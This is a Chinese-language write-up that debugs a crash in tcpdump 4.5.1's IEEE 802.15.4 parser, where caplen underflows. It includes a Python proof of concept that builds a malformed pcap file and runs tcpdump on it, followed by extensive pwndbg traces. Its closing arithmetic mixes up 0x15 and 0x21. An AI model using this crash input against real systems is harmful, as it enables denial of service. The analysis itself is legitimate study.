第一次做漏洞分析,有什么错误的地方欢迎各位提出
ubuntu16.04 x86_64
gdb with pwndbg
tcpdump 4.5.1
poc
$ sudo apt-get install libpcap-dev
$ dpkg -l libpcap-dev
$ wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
$ cd tcpdump-4.5.1/
$ ./configure
$ make
$ sudo make install
poc:
from subprocess import call
from shlex import split
from time import sleep
def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
读入生成的pcap文件,并运行
Program received signal SIGSEGV, Segmentation fault.
hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=4294967283, oset=133744) at ./print-ascii.c:91
91 s2 = *cp++;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────
RAX 0x2e
RBX 0x2e
RCX 0x0
RDX 0x7ffff79425e0 (_nl_C_LC_CTYPE_class+256) ◂— add al, byte ptr [rax]
RDI 0x7fffffffcf90 ◂— 0x3030203030303020 (' 0000 00')
RSI 0x0
R8 0x5a5a5a5a5a5a5a5a ('ZZZZZZZZ')
R9 0x0
R10 0x1
R11 0x0
R12 0x843001
R13 0x7fffffffcfa9 ◂— 0x3030203030303000
R14 0x5
R15 0x7fffffffcfca ◂— 0x2e2e2e2e2e2e /* '......' */
RBP 0x2e
RSP 0x7fffffffcf70 ◂— 0x0
RIP 0x40c8b7 (hex_and_ascii_print_with_offset+103) ◂— movzx ebx, byte ptr [r12 - 1]
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
► 0x40c8b7 <hex_and_ascii_print_with_offset+103> movzx ebx, byte ptr [r12 - 1]
0x40c8bd <hex_and_ascii_print_with_offset+109> mov rax, r13
0x40c8c0 <hex_and_ascii_print_with_offset+112> mov esi, 0x29
0x40c8c5 <hex_and_ascii_print_with_offset+117> sub rax, rdi
0x40c8c8 <hex_and_ascii_print_with_offset+120> sub rsp, 8
0x40c8cc <hex_and_ascii_print_with_offset+124> mov r8d, 0x473d00
0x40c8d2 <hex_and_ascii_print_with_offset+130> sub rsi, rax
0x40c8d5 <hex_and_ascii_print_with_offset+133> mov ecx, 0x29
0x40c8da <hex_and_ascii_print_with_offset+138> mov edx, 1
0x40c8df <hex_and_ascii_print_with_offset+143> mov rdi, r13
0x40c8e2 <hex_and_ascii_print_with_offset+146> mov ebp, r9d
─────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-ascii.c
86 nshorts = length / sizeof(u_short);
87 i = 0;
88 hsp = hexstuff; asp = asciistuff;
89 while (--nshorts >= 0) {
90 s1 = *cp++;
► 91 s2 = *cp++;
92 (void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
93 " %02x%02x", s1, s2);
94 hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
95 *(asp++) = (isgraph(s1) ? s1 : '.');
96 *(asp++) = (isgraph(s2) ? s2 : '.');
─────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffcf70 ◂— 0x0
01:0008│ 0x7fffffffcf78 ◂— 0x100822577
02:0010│ 0x7fffffffcf80 —▸ 0x47fe57 ◂— or cl, byte ptr [rcx] /* '\n\t' */
03:0018│ 0x7fffffffcf88 ◂— 0xfffffff300020a70
04:0020│ rdi 0x7fffffffcf90 ◂— 0x3030203030303020 (' 0000 00')
05:0028│ 0x7fffffffcf98 ◂— 0x2030303030203030 ('00 0000 ')
06:0030│ 0x7fffffffcfa0 ◂— '0000 0000'
07:0038│ r13-1 0x7fffffffcfa8 ◂— 0x3020303030300030 /* '0' */
从崩溃信息来看,问题出现在print-ascii.c文件中,访问到了一个不允许访问的地址。再结合源码信息可知,指针cp在自加的过程中访问到了一个没有权限访问的地址,因为这是写在一个while循环里,也就是是说nshorts的值偏大,再看nshorts怎么来的,由此nshorts = length / sizeof(u_short);可知,可能是函数传入的参数length没有控制大小导致,因此目标就是追踪length是如何传入的。
通过bt回溯一下调用情况
pwndbg> bt
#0 hex_and_ascii_print_with_offset (ident=0x47fe57 "\n\t", cp=0x843000 <error: Cannot access memory at address 0x843000>, length=4294967283, oset=133744) at ./print-ascii.c:91
#1 0x000000000040aa7d in ieee802_15_4_if_print (ndo=0x820140 <Gndo>, h=<optimized out>, p=<optimized out>) at ./print-802_15_4.c:180
#2 0x000000000045bb9f in print_packet (user=0x7fffffffd2e0 "@\001\202", h=0x7fffffffd1d0, sp=0x822570 "@\377") at ./tcpdump.c:1950
#3 0x00007ffff7bb3ac4 in ?? () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#4 0x00007ffff7ba41cf in pcap_loop () from /usr/lib/x86_64-linux-gnu/libpcap.so.0.8
#5 0x0000000000403f27 in main (argc=argc@entry=3, argv=argv@entry=0x7fffffffe548) at ./tcpdump.c:1569
#6 0x00007ffff77eb830 in __libc_start_main (main=0x4030e0 <main>, argc=3, argv=0x7fffffffe548, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe538) at ../csu/libc-start.c:291
#7 0x0000000000404cd9 in _start ()
追踪一下从main函数开始,每个函数的执行流程
pcap_loop()
► 0x403f22 <main+3650> call pcap_loop@plt <0x4027a0>
rdi: 0x8222c0 —▸ 0x7ffff7bb3a40 ◂— push r15
rsi: 0xffffffff
rdx: 0x45bb50 (print_packet) ◂— push r12
rcx: 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
在跟进pcap_loop()函数的过程中,遇到一处call,步入看看
► 0x7ffff7ba41ca <pcap_loop+42> call 0x7ffff7bb3a40
来到了bpf_filter函数,注意第三个参数就是我们传入crash数据包的len,然而到后面发现,其实与这个值无关
► 0x7ffff7bb3aa9 call bpf_filter <0x7ffff7bba870>
rdi: 0x825c30 ◂— 0x4900000006
rsi: 0x822570 ◂— 0x7f72a00600ff40
rdx: 0x379c3c00
rcx: 0x8
pcap数据包内关键结构体
struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
ts: 抓取时间
caplen:4字节 保存下来的包长度
len: 4字节 数据包的真实长度
使用010editer可以很容易的分析这个结构体
捕获.PNG
紧接着来到另一处函数调用
────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────
0x7ffff7bb3ab0 je 0x7ffff7bb3ace
0x7ffff7bb3ab2 add ebp, 1
0x7ffff7bb3ab5 mov rdx, qword ptr [rsp + 0x18]
0x7ffff7bb3aba mov rsi, r12
0x7ffff7bb3abd mov rdi, qword ptr [rsp]
► 0x7ffff7bb3ac1 call r15 <0x45bb50>
rdi: 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
rsi: 0x7fffffffcac0 ◂— 0x8000
rdx: 0x822570 ◂— 0x7f72a00600ff40
0x7ffff7bb3ac4 cmp ebp, r14d
0x7ffff7bb3ac7 jl 0x7ffff7bb3ace
0x7ffff7bb3ac9 test r14d, r14d
0x7ffff7bb3acc jg 0x7ffff7bb3b30
0x7ffff7bb3ace mov eax, dword ptr [rbx + 0x34]
跟进去以后
► 0x45bb73 <print_packet+35> mov eax, dword ptr [rbx + 0x10]
0x45bb76 <print_packet+38> mov rdx, qword ptr [rip + 0x26c2db] <0x6c7e58>
0x45bb7d <print_packet+45> add rax, rbp
0x45bb80 <print_packet+48> mov qword ptr [rdx + 0xe0], rax
0x45bb87 <print_packet+55> mov edx, dword ptr [r12 + 0x10]
0x45bb8c <print_packet+60> test edx, edx
───────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
1942 /*
1943 * Some printers want to check that they're not walking off the
1944 * end of the packet.
1945 * Rather than pass it all the way down, we set this global.
1946 */
► 1947 snapend = sp + h->caplen;
1948
1949 if(print_info->ndo_type) {
1950 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
1951 } else {
1952 hdrlen = (*print_info->p.printer)(h, sp);
首先把caplen(vlaue = 8)传进来
来到下面这个地方
───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────
0x45bb8c <print_packet+60> test edx, edx
0x45bb8e <print_packet+62> je print_packet+168 <0x45bbf8>
0x45bb90 <print_packet+64> mov rdx, rbp
0x45bb93 <print_packet+67> mov rsi, rbx
0x45bb96 <print_packet+70> mov rdi, qword ptr [r12]
► 0x45bb9a <print_packet+74> call qword ptr [r12 + 8] <0x40a8c0>
0x45bb9f <print_packet+79> mov rdx, qword ptr [rip + 0x26c2b2] <0x6c7e58>
0x45bba6 <print_packet+86> mov ecx, dword ptr [rdx + 0x40]
0x45bba9 <print_packet+89> test ecx, ecx
0x45bbab <print_packet+91> je print_packet+193 <0x45bc11>
0x45bbad <print_packet+93> cmp ecx, 1
───────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────────────────────
In file: /home/kaka/DEBUG/tcpdump-4.5.1/tcpdump.c
1945 * Rather than pass it all the way down, we set this global.
1946 */
1947 snapend = sp + h->caplen;
1948
1949 if(print_info->ndo_type) {
► 1950 hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);
1951 } else {
1952 hdrlen = (*print_info->p.printer)(h, sp);
1953 }
1954
1955 if (Xflag) {
程序call了一个函数,这个函数就是<ieee802_15_4_if_print>函数,这个函数定义在print-802_15_4.c中,</ieee802_15_4_if_print>
u_int
ieee802_15_4_if_print(struct netdissect_options *ndo,
const struct pcap_pkthdr *h, const u_char *p)
{
printf("address : %x\n",p);
u_int caplen = h->caplen; //传入的caplen,赋值给无符号整形变量caplen,且该值为8
int hdrlen;
u_int16_t fc;
u_int8_t seq;
if (caplen < 3) { //不满足
ND_PRINT((ndo, "[|802.15.4] %x", caplen));
return caplen;
}
fc = EXTRACT_LE_16BITS(p);
hdrlen = extract_header_length(fc);
seq = EXTRACT_LE_8BITS(p + 2);
p += 3;
caplen -= 3;//此时caplen = 5
ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
if (vflag)
ND_PRINT((ndo,"seq %02x ", seq));
if (hdrlen == -1) {
ND_PRINT((ndo,"malformed! "));
return caplen;
}
if (!vflag) {
p+= hdrlen;
caplen -= hdrlen;
} else {
u_int16_t panid = 0;
switch ((fc >> 10) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved destination addressing mode"));
return 0;
case 0x02:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
panid = EXTRACT_LE_16BITS(p);
p += 2;
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
p += 8;
break;
}
ND_PRINT((ndo,"< ");
switch ((fc >> 14) & 0x3) {
case 0x00:
ND_PRINT((ndo,"none "));
break;
case 0x01:
ND_PRINT((ndo,"reserved source addressing mode"));
return 0;
case 0x02:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
p += 2;
break;
case 0x03:
if (!(fc & (1 << 6))) {
panid = EXTRACT_LE_16BITS(p);
p += 2;
}
ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
p += 8;
break;
}
caplen -= hdrlen;
}
传入的第二个值是struct pcap_pkthdr *h结构体,函数使用的参数caplen就是结构体中的caplen,上面代码中也已经标注一部分,对于caplen操作的关键代码在第10行开始的,直接上面看这些代码对我我这样的新人来说,有些懵~,但是也不难看出,caplen进行一些加减操作后,没有判断正负,直接丢给了下一个函数使用。
直接跟进函数,看看最后赋值情况
───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────
0x40aa63 <ieee802_15_4_if_print+419> test esi, esi
0x40aa65 <ieee802_15_4_if_print+421> jne ieee802_15_4_if_print+137 <0x40a949>
0x40aa6b <ieee802_15_4_if_print+427> mov dword ptr [rsp + 0xc], eax
0x40aa6f <ieee802_15_4_if_print+431> mov rsi, qword ptr [rsp]
0x40aa73 <ieee802_15_4_if_print+435> mov rdi, r15
► 0x40aa76 <ieee802_15_4_if_print+438> call qword ptr [r15 + 0xf0] <0x45b270>
rdi: 0x820140 (Gndo) ◂— 0x0
rsi: 0x822585 ◂— 0x0
rdx: 0xfffffff3
rcx: 0x7fffffeb
0x40aa7d <ieee802_15_4_if_print+445> mov eax, dword ptr [rsp + 0xc]
0x40aa81 <ieee802_15_4_if_print+449> add rsp, 0x18
0x40aa85 <ieee802_15_4_if_print+453> pop rbx
0x40aa86 <ieee802_15_4_if_print+454> pop rbp
0x40aa87 <ieee802_15_4_if_print+455> pop r12
再次调用另一个函数地址为<0x45b270>,此时传入的第三个参数即caplen已经变成一个很大的值0xfffffff3
pwndbg> x/2i 0x45b270
0x45b270 <ndo_default_print>: mov edi,0x47fe57
0x45b275 <ndo_default_print+5>: jmp 0x40ca80 <hex_and_ascii_print>
可知该函数会继续跳转执行函数,继续跟进去
► 0x45b275 <ndo_default_print+5> jmp hex_and_ascii_print <0x40ca80>
↓
0x40ca80 <hex_and_ascii_print> xor ecx, ecx
0x40ca82 <hex_and_ascii_print+2> jmp hex_and_ascii_print_with_offset <0x40c850>
最终来到了hex_and_ascii_print_with_offset 函数,也是我们回溯调用的时候的最后一个函数
────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────────
RAX 0x7ffffff9
RBX 0xfffffff3
RCX 0x0
RDX 0xfffffff3
RDI 0x47fe57 ◂— or cl, byte ptr [rcx] /* '\n\t' */
RSI 0x822585 ◂— 0x0
R8 0x0
R9 0x1c
R10 0x6
R11 0x470fc9 ◂— 0x41006e6f63616542 /* 'Beacon' */
R12 0x12
R13 0x822570 ◂— 0x7f72a00600ff40
R14 0x3
R15 0x820140 (Gndo) ◂— 0x0
RBP 0xff40
RSP 0x7fffffffca08 ◂— 0x12
RIP 0x40c85c (hex_and_ascii_print_with_offset+12) ◂— push rbp
───────────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────────
0x40c852 <hex_and_ascii_print_with_offset+2> mov eax, edx
0x40c854 <hex_and_ascii_print_with_offset+4> push r14
0x40c856 <hex_and_ascii_print_with_offset+6> push r13
0x40c858 <hex_and_ascii_print_with_offset+8> push r12
0x40c85a <hex_and_ascii_print_with_offset+10> shr eax, 1
► 0x40c85c <hex_and_ascii_print_with_offset+12> push rbp
0x40c85d <hex_and_ascii_print_with_offset+13> push rbx
0x40c85e <hex_and_ascii_print_with_offset+14> lea rax, [rsi + rax*2]
0x40c862 <hex_and_ascii_print_with_offset+18> mov r12, rsi
0x40c865 <hex_and_ascii_print_with_offset+21> xor r14d, r14d
0x40c868 <hex_and_ascii_print_with_offset+24> sub rsp, 0x198
对应的的c如下
nshorts = length / sizeof(u_short);
i = 0;
hsp = hexstuff; asp = asciistuff;
while (--nshorts >= 0) {
s1 = *cp++;
s2 = *cp++;
除法以后,nshorts的值仍然很大,导致进行了过多的循环,使指针访问到了不可访问内存
思考
那么caplen这个值需要多大才可以呢?
In file: /home/kaka/DEBUG/tcpdump-4.5.1/print-802_15_4.c
109
110 seq = EXTRACT_LE_8BITS(p + 2);
111
112 p += 3;
113 caplen -= 3;
► 114
115 ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
116 if (vflag)
117 ND_PRINT((ndo,"seq %02x ", seq));
118 if (hdrlen == -1) {
119 ND_PRINT((ndo,"malformed! "));
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffca30 —▸ 0x822573 ◂— 0xb8fb78007f72a006
01:0008│ 0x7fffffffca38 —▸ 0x822570 ◂— 0x7f72a00600ff40
02:0010│ 0x7fffffffca40 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
03:0018│ 0x7fffffffca48 —▸ 0x7fffffffcac0 ◂— 0x8000
04:0020│ 0x7fffffffca50 —▸ 0x822570 ◂— 0x7f72a00600ff40
05:0028│ 0x7fffffffca58 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
06:0030│ 0x7fffffffca60 —▸ 0x7fffffffcab8 —▸ 0x822570 ◂— 0x7f72a00600ff40
07:0038│ 0x7fffffffca68 ◂— 0xffffffff
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────
► f 0 40aa2a ieee802_15_4_if_print+362
f 1 45bb9f print_packet+79
f 2 7ffff7bb3ac4
f 3 7ffff7ba41cf pcap_loop+47
f 4 403f27 main+3655
f 5 7ffff77eb830 __libc_start_main+240
pwndbg> p caplen
$4 = 5
此时的caplen为5
124 if (!vflag) {
► 125 p+= hdrlen;
126 caplen -= hdrlen;
127 } else {
128 u_int16_t panid = 0;
//经调试,没有进入这个条件,所以caplen没变
177 caplen -= hdrlen;
178 printf("caplen : %d\n",caplen);
► 179 }
180 printf("after : %p\n",p);
181 if (!suppress_default_print)
182 (ndo->ndo_default_print)(ndo, p, caplen);
183
184 return 0;
───────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffca30 —▸ 0x822585 ◂— 0x0
01:0008│ 0x7fffffffca38 —▸ 0x822570 ◂— 0x7f72a00600ff40
02:0010│ 0x7fffffffca40 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
03:0018│ 0x7fffffffca48 —▸ 0x7fffffffcac0 ◂— 0x8000
04:0020│ 0x7fffffffca50 —▸ 0x822570 ◂— 0x7f72a00600ff40
05:0028│ 0x7fffffffca58 —▸ 0x7fffffffcbd0 —▸ 0x820140 (Gndo) ◂— 0x0
06:0030│ 0x7fffffffca60 —▸ 0x7fffffffcab8 —▸ 0x822570 ◂— 0x7f72a00600ff40
07:0038│ 0x7fffffffca68 ◂— 0xffffffff
─────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────
► f 0 40aa5b ieee802_15_4_if_print+411
f 1 45bb9f print_packet+79
f 2 7ffff7bb3ac4
f 3 7ffff7ba41cf pcap_loop+47
f 4 403f27 main+3655
f 5 7ffff77eb830 __libc_start_main+240
pwndbg> p caplen
$13 = 4294967283
最后 caplen这个值为-13,所以,caplen值最小为13+5+3=21 = 0x15
将数据包内的caplen字段修改成0x21以后没有再发生指针越界,此时的caplen为0,与len字段无关,甚至修改为0都可以。
pwndbg> run -r crash
Starting program: /usr/local/sbin/tcpdump -r crash
reading from file crash, link-type IEEE802_15_4_NOFCS (IEEE 802.15.4 without FCS)
17:06:08.000000 IEEE 802.15.4 Beacon packet
0x0000: 2b2b 2b2b 2b2b 2b85 c903 0000 +++++++.....
tcpdump: pcap_loop: bogus savefile header
[Inferior 1 (process 122683) exited with code 01]